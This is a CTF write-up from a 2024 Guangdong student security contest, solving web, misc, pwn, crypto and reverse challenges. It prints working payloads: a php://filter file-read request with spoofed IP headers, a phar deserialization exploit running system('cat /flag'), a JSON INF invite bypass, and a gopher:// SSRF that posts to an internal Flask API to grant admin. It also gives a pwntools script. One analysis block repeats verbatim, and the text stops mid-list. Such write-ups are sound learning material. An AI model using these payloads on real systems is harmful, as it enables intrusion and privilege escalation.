2024-广东大学生网络安全大赛WriteUp
Zjacky 发表于 江苏 CTF 1154浏览 · 2024-05-13 07:45

前言

昨天打的抽象赛,开局先硬控你一小时,很是尴尬,题目质量可谓是嘎嘎的"高"啊 -- BY WYE

Web

消失的flag

IP伪造+伪协议包含下得到flag

GET /?file=php://filter/resource=/flag HTTP/1.1
Host: 654da143-47e3-77e1-7a49-c6e6b60a9d9a10ac.tq.jxsec.cn:30305
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Requested-With: 127.0.0.1
X-Forwarded-Proto: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1

unserialize_web

有源码,看了下就是打phar反序列化而已,需要绕一下正则和wakeup,参考

https://blog.csdn.net/qq_53460654/article/details/121889104?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171549182116800215012978%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=171549182116800215012978&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-1-121889104-null-null.142^v100^pc_search_result_base4&utm_term=phar%20%2B%20GC&spm=1018.2226.3001.4187
class File{
    public $val1;
    public $val2;
    public $val3;

    public function __construct()
    {
        $this->val3="system('cat /flag');";
        $this->val1 = "file";
        $this->val2 = "exists";
    }
}

$exp = new File();
@unlink("qqqa.phar");

$phar = new Phar('qqqa.phar', 0, 'qqqa.phar');
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($exp);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

生成后绕一下wakeup改一下数量后重新签名下

from hashlib import sha1
f = open('./qqqa.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
print(s)
h = f[-8:] # 获取签名类型以及GBMB标识
print(h)
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('qweqwe.jpg', 'wb').write(newf) # 写入新文件

然后gzip一下来绕过明文的正则匹配

┌──(root㉿kali)-[~/Desktop/ctf]
└─# gzip qaz.jpg

再改成jpg上传打phar即可

mypdf

基本思路

刚上手这题,扫到 www.zip


审计发现有点没搞懂路由,因为他给的是这样的附件


结合了一下扫出的东西,发现根目录是设置为 html

然后在前一个目录下用 python 起了一个 8082 端口的服务

一开始注册的时候想着直接用 invites.txt 里面的注册码行不行,很明显不行

然后只能仔细分析咯

python服务

from flask import Flask,request
import sqlite3
from contextlib import closing
import json

app = Flask(__name__)

def qDB(query,qtype='fetchAll',username=''):    #读取数据库的,被/users路由引用
    with closing(sqlite3.connect("/var/www/db/mypdf.db")) as connection:
        with closing(connection.cursor()) as cursor:
            if(qtype=='fetchAll'):
                rows = cursor.execute(query).fetchall()
                return rows
            elif(qtype=='setAdmin' and username!=''):
                cursor.execute(
                        query,
                        (username,)
                    )
                connection.commit()
                return 1
    return 0


@app.route('/invites', methods=['GET', 'POST']) #注册路由
def invites():
    if request.method == 'POST':
        myJson = json.loads(request.data)
        if(myJson['invite'] in open('/var/www/invites.txt').read().split('\n')):    #相当于判断你的邀请码对不对
            return json.dumps(True) #成功返回True
        else:
            return json.dumps(False)
    return json.dumps(open('/var/www/invites.txt').read().split('\n'))


@app.route('/users', methods=['GET', 'POST'])   #后续用于提升user权限为admin
def users():
    if request.method == 'POST':
        myJson = json.loads(request.data)
        if(myJson['user']): #存在user元素就继续走下去
            qDB("UPDATE users SET priv=not(priv) WHERE user=? ","setAdmin",myJson['user'])  #提升权限
            return json.dumps(True)
        else:
            return json.dumps(False)
    return json.dumps(qDB("SELECT user,priv FROM users"))


@app.route('/')
def home():
    return 'internal console'


app.run(host='127.0.0.1', port=8082)

直接在上面注释,方便边阅读代码边理解了

common.php

<?php
session_start();
$db = new SQLite3('../db/mypdf.db');
function ci($i){
    return SQLite3::escapeString($i);
}
function sqlArray($q){
    global $db;
    $res = $db->query($q);
    $a=array();
    while ($row = $res->fetchArray(SQLITE3_ASSOC)) {
        $a[]=$row;
    }
    return $a;
}
function uExists($u){
    return (@count(@sqlArray("SELECT * FROM users WHERE user='".ci($u)."'")[0])>0)?True:False;
}
function puts($status,$data=NULL){
    header("Content-Type: application/json");
    echo json_encode(array(
                            "STATUS"=>($status===1?"success":"error"),
                            "DATA"=>($data!==NULL?$data:NULL)
                          )
                    );
    exit;
}
function qInternal($endpoint,$payload=null){
    $url = 'http://localhost:8082/'.$endpoint;
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
    if($payload!==null){
        curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    }
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($ch);
    curl_close($ch);
    return(@$result?$result:'false');
}

function whoami(){
    return @sqlArray("SELECT * FROM users WHERE user='".ci($_SESSION['usr']['user'])."' limit 0,1")[0];
}

function myPastes(){
    return @sqlArray("SELECT id,title,content FROM pastes WHERE user='".ci($_SESSION['usr']['user'])."'");
}

一目了然 qInternal 类可控 url 存在 ssrf ,其他类没啥用,不做分析

且 qInternal 类中指定了 8082 端口,一看就是要利用这个 ssrf 进行访问内网 8082 端口,打内网服务的

api.php

<?php
include 'common.php';
include '../flag.php';

if (@$_SERVER["REQUEST_METHOD"]!=="POST" OR @$_SERVER["CONTENT_TYPE"]!=="application/json") puts(0);

$uInput=@file_get_contents("php://input");
if(strlen($uInput)>512) puts(0);

$data = json_decode($uInput,true);
if(!is_array($data)) puts(0);

if(is_array(@$data['d'])){
    foreach ($data['d'] as $key => $value) {
        if(strlen($value)<4) puts(0);
    }
}

switch (@$data['action']) {
    case 'register':
        if(@$data['d']['user'] AND @$data['d']['pass']){
            if(!@$data['d']['invite']) puts(0);
            $checkInvite = @json_decode(@qInternal("invites",json_encode(array("invite"=>$data['d']['invite']))),true);
            if($checkInvite===FALSE) puts(0);
            if(uExists($data['d']['user'])) puts(0);
            $db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."' ,'".ci($data['d']['pass'])."' , '0')");
            if($db->lastInsertRowID()){
                puts(1);
            }else{
                puts(0);
            }
        }
        puts(0);
        break;
    case 'login':
        if(@$data['d']['user'] AND @$data['d']['pass']){
            $tU=@sqlArray("SELECT * FROM users WHERE user='".ci($data['d']['user'])."' limit 0,1")[0];
            if(@count($tU)<1) puts(0);
            if(@$data['d']['pass']!==$tU['pass']) puts(0);
            $_SESSION['usr']=$tU;
            puts(1);
        }
        puts(0);
        break;
    case 'pastes':
        $tU=whoami();
        if(!$tU) puts(0);
        puts(1,myPastes());
        break;
    case 'new':
        $tU=whoami();
        if(!$tU) puts(0);
        if(@$data['d']['title'] AND @$data['d']['content']){
            $data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']);
            $db->exec("INSERT INTO pastes(id,title,content,user) VALUES ('".sha1(microtime().$_SESSION['usr']['user'])."', '".ci($data['d']['title'])."' ,'".ci(($data['d']['content']))."' , '".ci($_SESSION['usr']['user'])."')");
            if($db->lastInsertRowID()){
                puts(1);
            }else{
                puts(0);
            }
        }
        puts(0);
        break;
    case 'view':
        if(@$data['d']['paste_id']){
            $tP=@sqlArray("SELECT * FROM pastes WHERE id='".ci($data['d']['paste_id'])."' limit 0,1")[0];
            if(@count($tP)<1) puts(0);
            puts(1,$tP);
        }
        puts(0);
        break;
    case 'download':
        if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
            $tP=@sqlArray("SELECT * FROM pastes WHERE id='".ci($data['d']['paste_id'])."' limit 0,1")[0];
            if(@count($tP)<1) puts(0);
            if($data['d']['type']==='text'){
                header('Content-Type: text/plain');
                header('Content-Disposition: attachment; filename="'.sha1(time()).'.txt"');
                echo str_repeat("-", 80)."\n--------- ".$tP['title']."\n".str_repeat("-", 80)."\n".$tP['content'];
                exit;
            }
            if($data['d']['type']==='_pdf'){
                require_once('../TCPDF/config/tcpdf_config.php');
                require_once('../TCPDF/tcpdf.php');
                $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
                $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
                $pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
                $pdf->SetFont('helvetica', '', 9);
                $pdf->AddPage();
                $html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
                $pdf->writeHTML($html, true, 0, true, 0);
                $pdf->lastPage();
                $pdf->Output(sha1(time()).'.pdf', 'D');
                exit;
            }
        }
        puts(0);
        break;
    case 'admin':
        $tU=whoami();
        if(!@$tU OR @$tU['priv']!==1) puts(0);
        $ret["ok"]   =$flag;
        puts(1,$ret);
        break;
    default:
        puts(0);
        break;
}

puts(0);
exit;
?>

这段代码有点臭且长,主要只看以下部分(将上面的代码做精简):

<?php
include 'common.php';
include '../flag.php';

$uInput=@file_get_contents("php://input");  //使用$uInput接收传参
$data = json_decode($uInput,true);  //json_decode

if(is_array(@$data['d'])){
    foreach ($data['d'] as $key => $value) {    //对json传进来的值进行遍历赋值给$key和$value
        //$key负责接收元素名 $value接收元素值
        if(strlen($value)<4) puts(0);   //对元素值的长度得大于4
    }
}

switch (@$data['action']) { //对传入的action进行分类判断

    case 'register':    //如果action的值为register
        if(@$data['d']['user'] AND @$data['d']['pass']){    //json嵌套json形式,判断key->user和pass是否存在
            if(!@$data['d']['invite']) puts(0); //判断key->invite存在不
            $checkInvite = @json_decode(@qInternal("invites",json_encode(array("invite"=>$data['d']['invite']))),true);
            //将invites、$data['d']['invite']、true传入 qInternal
            //qInternal 就是我们前面说的ssrf点
            //接收:function qInternal($endpoint,$payload=null)
            //$endpoint 是拼接url达到利用ssrf访问python服务的点
            if($checkInvite===FALSE) puts(0);   //判断是不是返回FALSE
            //下面的都是进行添加用户的操作了
            if(uExists($data['d']['user'])) puts(0);
            //这里执行了插入语句,将 priv 设置为0
            $db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."' ,'".ci($data['d']['pass'])."' , '0')");
            if($db->lastInsertRowID()){
                puts(1);
            }else{
                puts(0);
            }
        }
        puts(0);
        break;

    case 'new': //如果action的值为new
        $tU=whoami();
        if(!$tU) puts(0);
        if(@$data['d']['title'] AND @$data['d']['content']){    //判断key->title和content是不是空
            $data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']);   //进行一次正则匹配
            $db->exec("INSERT INTO pastes(id,title,content,user) VALUES ('".sha1(microtime().$_SESSION['usr']['user'])."', '".ci($data['d']['title'])."' ,'".ci(($data['d']['content']))."' , '".ci($_SESSION['usr']['user'])."')");
            if($db->lastInsertRowID()){
                puts(1);
            }else{
                puts(0);
            }
        }
        puts(0);
        break;

    case 'download':    //如果action的值为download
        if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
            //some useless code....
            }
            if($data['d']['type']==='_pdf'){
                require_once('../TCPDF/config/tcpdf_config.php');
                require_once('../TCPDF/tcpdf.php'); //引用包含了我们的漏洞组件
                $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
                $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
                $pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
                $pdf->SetFont('helvetica', '', 9);
                $pdf->AddPage();
                $html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
                $pdf->writeHTML($html, true, 0, true, 0);
                $pdf->lastPage();
                $pdf->Output(sha1(time()).'.pdf', 'D');
                exit;
            }
        }
        puts(0);
        break;

    case 'admin':   //如果action的值为admin
        $tU=whoami();   //执行 common.php 下的 whoami 类
        if(!@$tU OR @$tU['priv']!==1) puts(0);  //这里对执行完whoami类进行判断是不是为空或者权限是不是admin
        $ret["ok"]   =$flag;    //输出flag!!!!!!!
        puts(1,$ret);
        break;
    default:
        puts(0);
        break;
}
?>

上面的代码很清楚,想要获得 flag 就得有 admin 权限

想要注册用户以及提升权限就得结合 common.php 和 internal.py 进行操作

api.php 就相当于一个 route 路由控制器

注册绕过

想要 admin 权限,前提是有个账户吧,所以得注册

注册呢,又绕不开验证码,所以得想办法去 bypass 这个 invites

想看“控制器”如何进入路由访问到 common.php


这里的 1、2、3、4 步骤就是进入的代码了

显而易见可以构造

{"action":"register"}

进入路由还有个判断,继续构造

{
    "action":"register",
    "d":{
        "user":"hehanzzz",
        "pass":"hehanzzz123",
        "invite":""
    }
}

但是上面有一点需要注意的是if(strlen($value)<4) puts(0);所以所有的 value 长度要大于 4
接下来就是绕过 invite 了,因为 invite 是从他服务器上读取的,没法利用 www.zip 下的 invite,我们也没法直接读取

故需要 bypass

Bypass json_encode

(这里直接抄文章的了)

json_encode 在处理 INF 时会返回一个 false,如下:

<?php
$f=3.3e99999999999999;
var_dump($f);
var_dump(json_encode(array("a"=>$f)));
//float(INF)
//bool(false)

那么这会使得其发送一个空的 post 请求给内网的 api,此时因为接收不到 request.data 会导致 500 错误,此时 curl 得到的结果是 NULL,而其判断是使用的:

return(@$result?$result:'false');

此时得到了一个 NULL:

<?php
var_dump(json_decode("NULL",true));
//NULL


payload:

{"action":"register","d":{"user":"hehanzzz","pass":"hehanzzz123","invite":-3.3e99999999999999}}

TCPDF 探究 及 Gopher 协议 SSRF 打 Flask 服务

注册完后,回到主页面进行添加文章,我们可以看到文章详细页有个下载 pdf,放入标题时,发现可以成功解析到 html 标签

$data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']);

但是这不是漏洞点,别忘记了这个题目的标题叫什么,故需要从 download 路由下手分析

case 'download':
        if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
            //some useless code....
            }
            if($data['d']['type']==='_pdf'){
                require_once('../TCPDF/config/tcpdf_config.php');
                require_once('../TCPDF/tcpdf.php');
                $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
                $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
                $pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
                $pdf->SetFont('helvetica', '', 9);
                $pdf->AddPage();
                $html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
                $pdf->writeHTML($html, true, 0, true, 0);
                $pdf->lastPage();
                $pdf->Output(sha1(time()).'.pdf', 'D');
                exit;
            }
        }
        puts(0);
        break;

因为是跟 html 解析有关系,所以优先选择跟入 writeHTML,writeHTML 类的代码太多了,只把主要的放出来分析

这里如何定位哪些是我们需要的,很简单,看哪些是我们可控的就好了

很明显可控的就是 $html , 所以我们只需要跟进去

在 17272 行可以找到

public function writeHTML($html, $ln=true, $fill=false, $reseth=false, $cell=false, $align='') {
    $dom = $this->getHtmlDomArray($html);
}

继续跟进 getHtmlDomArray

/**
 * 该函数用于从HTML内容中提取link标签中type为"text/css"且media为"all"或"print"的CSS属性。
 *
 * @param string $html 要解析的HTML内容。
 * @return array 包含从HTML link标签中提取的CSS属性的数组。
 */
protected function getHtmlDomArray($html) {
    $matches = array();

    // 正则表达式匹配HTML link标签
    if (preg_match_all('/<link([^\>]*)>/isU', $html, $matches) > 0) {
        foreach ($matches[1] as $key => $link) {
            $type = array();

            // 检查link标签是否包含type="text/css"
            if (preg_match('/type[\s]*=[\s]*"text\/css"/', $link, $type)) {
                $type = array();

                // 提取media属性值
                preg_match('/media[\s]*=[\s]*"([^"]*)"/', $link, $type);

                // 仅处理media为'all'或'print'的情况,丢弃其他media类型
                // (all, braille, embossed, handheld, print, projection, screen, speech, tty, tv)
                if (empty($type) OR (isset($type[1]) AND (($type[1] == 'all') OR ($type[1] == 'print')))) {
                    $type = array();

                    // 提取href属性值(CSS文件的URL)
                    if (preg_match('/href[\s]*=[\s]*"([^"]*)"/', $link, $type) > 0) {
                        $href = trim($type[1]); // 提取到的CSS文件的URL

                        // 读取CSS数据文件
                        $cssdata = TCPDF_STATIC::fileGetContents($href);

                        // 如果CSS数据有效且非空,则提取CSS属性
                        if (($cssdata !== FALSE) AND (strlen($cssdata) > 0)) {
                            $css = array_merge($css, TCPDF_STATIC::extractCSSproperties($cssdata));
                        }
                    }
                }
            }
        }
    }
}

根据注释不难发现,匹配 HTML link 标签时,先匹配页面中所有符合外层正则 link 的 html,检查 link 标签是否包含 type="text/css",处理 media 为'all'或'print'的情况,丢弃其他 media 类型,提取 href 属性值

然后进入到关键的 TCPDF_STATIC 类下的 fileGetContents 函数中
注册完后,回到主页面进行添加文章,我们可以看到文章详细页有个下载 pdf,放入标题时,发现可以成功解析到 html 标签

$data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']);

但是这不是漏洞点,别忘记了这个题目的标题叫什么,故需要从 download 路由下手分析

case 'download':
        if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
            //some useless code....
            }
            if($data['d']['type']==='_pdf'){
                require_once('../TCPDF/config/tcpdf_config.php');
                require_once('../TCPDF/tcpdf.php');
                $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
                $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
                $pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
                $pdf->SetFont('helvetica', '', 9);
                $pdf->AddPage();
                $html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
                $pdf->writeHTML($html, true, 0, true, 0);
                $pdf->lastPage();
                $pdf->Output(sha1(time()).'.pdf', 'D');
                exit;
            }
        }
        puts(0);
        break;

因为是跟 html 解析有关系,所以优先选择跟入 writeHTML,writeHTML 类的代码太多了,只把主要的放出来分析

这里如何定位哪些是我们需要的,很简单,看哪些是我们可控的就好了

很明显可控的就是 $html , 所以我们只需要跟进去

在 17272 行可以找到

public function writeHTML($html, $ln=true, $fill=false, $reseth=false, $cell=false, $align='') {
    $dom = $this->getHtmlDomArray($html);
}

继续跟进 getHtmlDomArray

/**
 * 该函数用于从HTML内容中提取link标签中type为"text/css"且media为"all"或"print"的CSS属性。
 *
 * @param string $html 要解析的HTML内容。
 * @return array 包含从HTML link标签中提取的CSS属性的数组。
 */
protected function getHtmlDomArray($html) {
    $matches = array();

    // 正则表达式匹配HTML link标签
    if (preg_match_all('/<link([^\>]*)>/isU', $html, $matches) > 0) {
        foreach ($matches[1] as $key => $link) {
            $type = array();

            // 检查link标签是否包含type="text/css"
            if (preg_match('/type[\s]*=[\s]*"text\/css"/', $link, $type)) {
                $type = array();

                // 提取media属性值
                preg_match('/media[\s]*=[\s]*"([^"]*)"/', $link, $type);

                // 仅处理media为'all'或'print'的情况,丢弃其他media类型
                // (all, braille, embossed, handheld, print, projection, screen, speech, tty, tv)
                if (empty($type) OR (isset($type[1]) AND (($type[1] == 'all') OR ($type[1] == 'print')))) {
                    $type = array();

                    // 提取href属性值(CSS文件的URL)
                    if (preg_match('/href[\s]*=[\s]*"([^"]*)"/', $link, $type) > 0) {
                        $href = trim($type[1]); // 提取到的CSS文件的URL

                        // 读取CSS数据文件
                        $cssdata = TCPDF_STATIC::fileGetContents($href);

                        // 如果CSS数据有效且非空,则提取CSS属性
                        if (($cssdata !== FALSE) AND (strlen($cssdata) > 0)) {
                            $css = array_merge($css, TCPDF_STATIC::extractCSSproperties($cssdata));
                        }
                    }
                }
            }
        }
    }
}

根据注释不难发现,匹配 HTML link 标签时,先匹配页面中所有符合外层正则 link 的 html,检查 link 标签是否包含 type="text/css",处理 media 为'all'或'print'的情况,丢弃其他 media 类型,提取 href 属性值

然后进入到关键的 TCPDF_STATIC 类下的 fileGetContents 函数中

根据上图注释,我们也可以直接知道,1961 行的 file_exists 方法是关键,因为他是后面 curl 的 url

跟进去看看

public static function file_exists($filename) {
        if (preg_match('|^https?://|', $filename) == 1  or preg_match('|^gopher://|', $filename) == 1) {
            return self::url_exists($filename);
        }
        if (strpos($filename, '://')) {
            return false; // only support http and https wrappers for security reasons
        }
        return @file_exists($filename);
    }

这里会进行判断是否使用 http 或 https 协议以及 gopher 协议

(这里就是与原题唯一的改动,至于为什么后续会说,一开始我也没关注到这里)

如果是上面的协议就进入 url_exists 方法

public static function url_exists($url) {
        $crs = curl_init();
        // encode query params in URL to get right response form the server
        $url = self::encodeUrlQuery($url);
        curl_setopt($crs, CURLOPT_URL, $url);
        curl_setopt($crs, CURLOPT_NOBODY, true);
        curl_setopt($crs, CURLOPT_FAILONERROR, true);
        //关键点来啦!!!
        if ((ini_get('open_basedir') == '') && (!ini_get('safe_mode'))) {
            curl_setopt($crs, CURLOPT_FOLLOWLOCATION, true);
        }

        curl_setopt($crs, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($crs, CURLOPT_TIMEOUT, 30);
        curl_setopt($crs, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($crs, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($crs, CURLOPT_USERAGENT, 'tc-lib-file');
        curl_exec($crs);
        $code = curl_getinfo($crs, CURLINFO_HTTP_CODE);
        curl_close($crs);
        return ($code == 200);
    }

需要满足 open_basedir=='' 和没有设置 safe_mode,该方法将获取启用重定向的给定 URL

关键在于这两个点是 php 默认配置

所以前面的 gopher 协议生效,可以 ssrf 打内网 python 服务

结合以下前面的拿 flag 条件,可以找到,要提升权限

因为前面注册用户的时候执行了 priv 为 0

$db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."

得去设置为 1,即为提权为 admin,即为触发 python 服务下的 /users

仅通过正则表达式执行糟糕的协议,启用了重定向,可能会使用 GOPHER,因此我们可以与任何 protcol 进行原始 tcp 对话

根据 /users 路由:

@app.route('/users', methods=['GET', 'POST'])
def users():
    if request.method == 'POST':
        myJson = json.loads(request.data)
        if(myJson['user']):
            qDB("UPDATE users SET priv=not(priv) WHERE user=? ","setAdmin",myJson['user'])
            return json.dumps(True)
        else:
            return json.dumps(False)
    return json.dumps(qDB("SELECT user,priv FROM users"))

只需要传入一个存在 user 键的 json 串即可,即:

{"user":"USERMANE"}

所以 payload 为:

<linktype="text/css"href="http://[%YOUR_HOST%]/redirect">

在 vps 下设置 gopher 的重定向,对内部 API 执行 POST 请求

location: gopher://localhost:8082/_POST%20%2Fusers%20HTTP%2F1.1%0AHost%3A%20localhost%0AContent-Length%3A%2024%0AContent-type%3A%20application%2Fjson%0A%0A%7B%22user%22%3A%22USERNAME%22%7D

然后请求

POST /api.php HTTP/1.1
Host: *
Content-Length: 18
Content-Type: application/json


{"action":"admin"}

即可得到 flag

但是=.=

这台机器不出网,不能这么打
前面有提到过,这题与原题多了一个 gopher 协议的正则匹配

所以,我们可以直接利用 gopher 协议去打,不需要 vps 去配合跳转(所以它算是魔改了 TCPDF 组件来满足我们获取 flag 的条件)

故 payload 为:(需要注意的是,这里的 user 是另一个用户的,并未发送请求包的这个用户)

{"action":"new","d":{"title":"<linktype=\"text/css\"href=\"gopher://localhost:8082/_POST%20/users%20HTTP/1.1%0D%0AHost%3A%20localhost%0D%0AContent-Length%3A%2018%0D%0AContent-type%3A%20application/json%0D%0A%0D%0A%7B%22user%22%3A%22hhhm123%22%7D%0D%0A\">","content":"123123123123123123123"}}


再去下载 PDF 进行触发,然后请求 api.php,得到 flag

{"action":"admin"}


这里的 ok 就是 flag

参考

Misc

猜一猜

下载下来md5命名,解密一下可以解压缩包

得到图片后改文件头得到二维码扫一下得到密文

一眼花朵符号解码得到flag

你要的就在这

根据图片解得:


解出来是pai,输入3.1415成功解密

stegpy misc.png -p

3557736c7371495153424738633644326d352f4b5277672b36676a6d3174723144513855794a556d495a733dk:luckyone
3557736c7371495153424738633644326d352f4b5277672b36676a6d3174723144513855794a556d495a733d 
# 16进制转字符串为5WslsqIQSBG8c6D2m5/KRwg+6gjm1tr1DQ8UyJUmIZs=

然后使用DES 加密/解密 - 锤子在线工具 (toolhelper.cn)

DES CBC PKCS7 key:luckyone IV:luckyone

得到:flag{believe_you_are_lucky}

Pwn

pwn_server


服务器程序接受0x80字节的内容,并按照:号格式进行拆分

在sub_400b8a函数中


v11无符号char,存在整数溢出,但是long返回值是一个int,而且


可以返回-1,因此,我们构造\x00就可以导致v11整数溢出,进行越界读写

改写file字符串为'flag',调试发现在栈里面对应位置,是有flag字眼刚好落在file变量上,利用越界写入flag,读取flag并直接返回

这样子我们的目标就换成了构造\x00

在处理s1字符串的函数中,有对结果进行异或处理


输入0x30,在程序中会被处理成0x00,即可触发整数溢出

from pwn import *
from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' = ' + hex(data) + '\x1b[0m')
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda    : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda     :u64(io.recv(6).ljust(8,b'\x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):
    if(c):
        gdb.attach(io, c)
        pause()
    else:
        gdb.attach(io)
        pause()
#---------------------------------------------------------
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
filename = "./server"
#io = process(filename)c
io = remote("29ef0991-555d-24bd-5669-22cca3ece9239ea0.tq.jxsec.cn",30635)
elf = ELF(filename)
#---------------------------------------------------------

payload="\x30:\x30"
io.sendline(payload)

Crypto

先使用私钥对密文进行解密,然后通过异或操作还原原始消息

d = 4885628697024674802233453512637565599092248491488767824821990279922756927662223348312748794983451796542248787267207054348962258716585568185354414099671493917947012747791554070655258925730967322717771647407982984792632771150018212620323323635510053326184087327891569331050475507897640403090397521797022070233
N = 89714050971394259600440975863751229102748301873549839432714703551498380713981264101533375672970154214062583012365073892089644031804109941766201243163398926438698369735588338279544152140859123834763870759757751944228350552806429642516747541162527058800402619575257179607422628877017180197777983487523142664487
ciphertext = 67254133265602132458415338912590207677514059205474875492945840960242620760650527587490927820914970400738307536068560894182603885331513473363314148815933001614692570010664750071300871546575845539616570277302220914885734071483970427419582877989670767595897758329863040523037547687185382294469780732905652150451

from Crypto.Util.number import long_to_bytes

def decrypt(ciphertext, N, d):
    m = pow(ciphertext, d, N)
    m_bytes = long_to_bytes(m)
    key = b'Life is like an ocean only strong-minded can reach the other shore'
    key_length = len(key)
    key = (key * (len(m_bytes) // key_length + 1))[:len(m_bytes)]
    decrypted = bytes([m_byte ^ key_byte for m_byte, key_byte in zip(m_bytes, key)])
    return decrypted.decode()

decrypted_message = decrypt(ciphertext, N, d)
print("Decrypted Message:", decrypted_message)
#flag{1s_Pa33w0rd_1y2u22}

reverse

re2

通过github上的脚本略微修改之后爆破出rand1

https://github.com/theonlypwner/crc32

从rand2数据中发现有5个0xff,猜测是需要替换的部分,下标为:2, 5, 9, 10, 14
然后rand2爆破,比对得出替换顺序为2 9 10 14 5,以及替换内容

import itertools

s = [[0, 50, 98, 50, 16],
     [1, 164, 82, 53, 103],
     [2, 30, 3, 60, 254],
     [3, 136, 51, 59, 137],
     [4, 43, 166, 95, 23],
     [5, 189, 150, 88, 96],
     [6, 7, 199, 81, 249],
     [7, 145, 247, 86, 142],
     [8, 0, 234, 233, 30],
     [9, 150, 218, 238, 105],
     [10, 44, 139, 231, 240],
     [11, 186, 187, 224, 135],
     [12, 25, 46, 132, 25],
     [13, 143, 30, 131, 110],
     [14, 53, 79, 138, 247],
     [15, 163, 127, 141, 128],
     [16, 86, 114, 133, 13],
     [17, 192, 66, 130, 122],
     [18, 122, 19, 139, 227],
     [19, 236, 35, 140, 148],
     [20, 79, 182, 232, 10],
     [21, 217, 134, 239, 125],
     [22, 99, 215, 230, 228],
     [23, 245, 231, 225, 147],
     [24, 100, 250, 94, 3],
     [25, 242, 202, 89, 116],
     [26, 72, 155, 80, 237],
     [27, 222, 171, 87, 154],
     [28, 125, 62, 51, 4],
     [29, 235, 14, 52, 115],
